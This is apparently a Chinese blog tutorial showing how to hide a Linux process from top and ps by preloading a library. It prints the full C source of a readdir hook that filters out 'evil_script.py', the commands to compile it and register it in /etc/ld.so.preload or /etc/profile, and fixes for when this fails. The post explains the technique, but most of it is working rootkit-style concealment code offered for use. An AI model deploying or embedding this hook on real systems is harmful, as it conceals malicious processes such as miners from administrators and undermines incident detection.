前言

  1. 本文所用到的工具在 https://github.com/gianlucaborello/libprocesshider 可以下载
  2. 思路就是利用 LD_PRELOAD 来实现系统函数的劫持

    LD_PRELOAD是什么:

    LD_PRELOAD是Linux系统的一个环境变量,它可以影响程序的运行时的链接(Runtime linker),它允许你定义在程序运行前优先加载的动态链接库。这个功能主要就是用来有选择性的载入不同动态链接库中的相同函数。通过这个环境变量,我们可以在主程序和其动态链接库的中间加载别的动态链接库,甚至覆盖正常的函数库。一方面,我们可以以此功能来使用自己的或是更好的函数(无需别人的源码),而另一方面,我们也可以以向别人的程序注入程序,从而达到特定的目的。

实现

1.下载程序编译

bmfxgkpt-yhd:~# git clone https://github.com/gianlucaborello/libprocesshider.git
Cloning into 'libprocesshider'...
remote: Counting objects: 26, done.
remote: Total 26 (delta 0), reused 0 (delta 0), pack-reused 26
Unpacking objects: 100% (26/26), done.
bmfxgkpt-yhd:~# cd libprocesshider/
bmfxgkpt-yhd:~/libprocesshider# make
gcc -Wall -fPIC -shared -o libprocesshider.so processhider.c -ldl
bmfxgkpt-yhd:~/libprocesshider#

2.移动文件到/usr/local/lib/目录下

mv libprocesshider.so /usr/local/lib/

3.把它加载到全局动态连接局

echo /usr/local/lib/libprocesshider.so >> /etc/ld.so.preload

测试

  1. 我们运行evil_script.py
  2. 此时发现在top 与 ps 中都无法找到 evil_script.py

此时我们发现 cpu 100%,但是却找不到任何占用cpu高的程序

分析

#define _GNU_SOURCE

#include <stdio.h>
#include <dlfcn.h>
#include <dirent.h>
#include <string.h>
#include <unistd.h> /*
* Every process with this name will be excluded
*/
static const char* process_to_filter = "evil_script.py"; /*
* Get a directory name given a DIR* handle
*/
static int get_dir_name(DIR* dirp, char* buf, size_t size)
{
int fd = dirfd(dirp);
if(fd == -1) {
return 0;
} char tmp[64];
snprintf(tmp, sizeof(tmp), "/proc/self/fd/%d", fd);
ssize_t ret = readlink(tmp, buf, size);
if(ret == -1) {
return 0;
} buf[ret] = 0;
return 1;
} /*
* Get a process name given its pid
*/
static int get_process_name(char* pid, char* buf)
{
if(strspn(pid, "0123456789") != strlen(pid)) {
return 0;
} char tmp[256];
snprintf(tmp, sizeof(tmp), "/proc/%s/stat", pid); FILE* f = fopen(tmp, "r");
if(f == NULL) {
return 0;
} if(fgets(tmp, sizeof(tmp), f) == NULL) {
fclose(f);
return 0;
} fclose(f); int unused;
sscanf(tmp, "%d (%[^)]s", &unused, buf);
return 1;
} #define DECLARE_READDIR(dirent, readdir) \
static struct dirent* (*original_##readdir)(DIR*) = NULL; \
\
struct dirent* readdir(DIR *dirp) \
{ \
if(original_##readdir == NULL) { \
original_##readdir = dlsym(RTLD_NEXT, "readdir"); \
if(original_##readdir == NULL) \
{ \
fprintf(stderr, "Error in dlsym: %s\n", dlerror()); \
} \
} \
\
struct dirent* dir; \
\
while(1) \
{ \
dir = original_##readdir(dirp); \
if(dir) { \
char dir_name[256]; \
char process_name[256]; \
if(get_dir_name(dirp, dir_name, sizeof(dir_name)) && \
strcmp(dir_name, "/proc") == 0 && \
get_process_name(dir->d_name, process_name) && \
strcmp(process_name, process_to_filter) == 0) { \
continue; \
} \
} \
break; \
} \
return dir; \
} DECLARE_READDIR(dirent64, readdir64);
DECLARE_READDIR(dirent, readdir);
  1. 程序定义了一个变量 process_to_filter 来控制不显示哪个进程名
  2. 重写readdir,

    strcmp(process_name, process_to_filter) == 0)

    当发现当前进程名称与 process_to_filter 相同时,继续循环.

遇到的坑

  1. 某些Linux中这个程序编译通不过

    解决方法

    删除最后两行中的一行

    DECLARE_READDIR(dirent64, readdir64);

    DECLARE_READDIR(dirent, readdir);

  2. 某些Linux中使用

    echo /usr/local/lib/libprocesshider.so >> /etc/ld.so.preload

    并不会生效

    此时我们需要配置环境变量

    bmfxgkpt-yhd:~# vi /etc/profile

    增加一行

    export LD_PRELOAD=/usr/local/lib/libprocesshider.so

linux 下隐藏进程的一种方法的更多相关文章

  1. Linux 下操作GPIO(两种方法,驱动和mmap)(转载)

    目前我所知道的在Linux下操作GPIO有两种方法: 1.编写驱动,这当然要熟悉Linux下驱动的编写方法和技巧,在驱动里可以使用ioremap函数获得GPIO物理基地址指针,然后使用这个指针根据io ...

  2. Linux 下操作gpio(两种方法,驱动和mmap)

    目前我所知道的在linux下操作GPIO有两种方法: 1.  编写驱动,这当然要熟悉linux下驱动的编写方法和技巧,在驱动里可以使用ioremap函数获得GPIO物理基地址指针,然后使用这个指针根据 ...

  3. linux下查询进程占用的内存方法总结

    linux下查询进程占用的内存方法总结,假设现在有一个「php-cgi」的进程 ,进程id为「25282」.现在想要查询该进程占用的内存大小.linux命令行下有很多的工具进行查看,现总结常见的几种方 ...

  4. 20155212 C语言实现linux下pwd命令的两种方法

    20155212 C语言实现linux下pwd命令的两种方法 学习pwd命令 通过man pwd命令查看 pwd [OPTION],一般不加参数 -P显示当前目录的物理路径 -L显示当前目录的连接路径 ...

  5. Linux下线程同步的几种方法

    Linux下提供了多种方式来处理线程同步,最常用的是互斥锁.条件变量和信号量. 一.互斥锁(mutex) 锁机制是同一时刻只允许一个线程执行一个关键部分的代码.  1. 初始化锁 int pthrea ...

  6. linux下配置ip地址四种方法(图文方法)

    主要是用第四种方法 (1)Ifconfig命令  第一种使用ifconfig命令配置网卡的ip地址.此命令通常用来零时的测试用,计算机启动后 ip地址的配置将自动失效.具体用法如下.Ipconfig  ...

  7. Linux启动新进程的三种方法

    程序中,我们有时需要启动一个新的进程,来完成其他的工作.下面介绍了三种实现方法,以及这三种方法之间的区别. 1.system函数-调用shell进程,开启新进程system函数,是通过启动shell进 ...

  8. linux下删除空行的几种方法

    在查看linux下的配置文件时,为了便于一目了然的查看,经常会删除空行和#头的行.而linux在删除空行的方法很多,grep.sed.awk.tr等工具都能实现.现总结如下: 1.grep grep ...

  9. Linux启动新进程的几种方法汇总

    有时候,我们需要在自己的程序(进程)中启动另一个程序(进程)来帮助我们完成一些工作,那么我们需要怎么才能在自己的进程中启动其他的进程呢?在Linux中提供了不少的方法来实现这一点,下面就来介绍一个这些 ...

随机推荐

  1. 导入另一个 Git库到现有的Git库并保留提交记录

    在要合并到的目标git仓库,执行 "git pull  远程分支地址/本地git仓库根目录"

  2. jmeter 压力测试

    转自: https://blog.csdn.net/cbzcbzcbzcbz/article/details/78023327 Jmeter压力测试简单教程(包括服务器状态监控) 2017年09月18 ...

  3. [20170825]不启动监听远程能连接数据库吗2.txt

    [20170825]不启动监听远程能连接数据库吗2.txt --//曾经写过一篇不启动监听连接数据库的帖子:http://blog.itpub.net/267265/viewspace-1816211 ...

  4. MySQL5.7中的sql_mode默认值

    简介 在正常项目开发过程中,如果MySQL版本从5.6升级到5.7版本.作为DBA在考虑数据库版本升级带来的影响时,一般会有几个注意点: sql_mode 默认值的改变 optimizer_switc ...

  5. IDisposable

    自己备用 public static class PHDApi : IDisposable { private PHDAccess _phd = null; // Track whether Disp ...

  6. oh-my-zsh安装与使用

    使用oh-my-zsh之前确保安装过zsh 通过脚本安装: sh -c "$(curl -fsSL https://raw.githubusercontent.com/robbyrussel ...

  7. s面向对象的写法

    js面向对象的写法 一.在html中引入该js文件,使用时: <script> var BuyBw8Product = new buyBw8Product(); </script&g ...

  8. C#中的console类输入输出功能

    Console.WriteLine() 直接将括号内内容显示在控制台界面中(相当于C语言printf()吧) Console.ReadLine()获取控制台用户自己输入的内容(功能和C语言scanf( ...

  9. 【ReactNative】Mac下分分钟打包 Android apk

    时间:2016-11-20 09:17:07 地址:https://github.com/zhongxia245/blog/issues/52 Mac 下 ReactNative如何打包构建Andro ...

  10. centos7下安装docker(5镜像命名)

    1.前面我制作了很镜像,利用docker images可以看到我自己制作的所有的镜像 第一列  是我利用docker build -t 镜像名   制作镜像指定的镜像名,但是它对应的是REPOSITO ...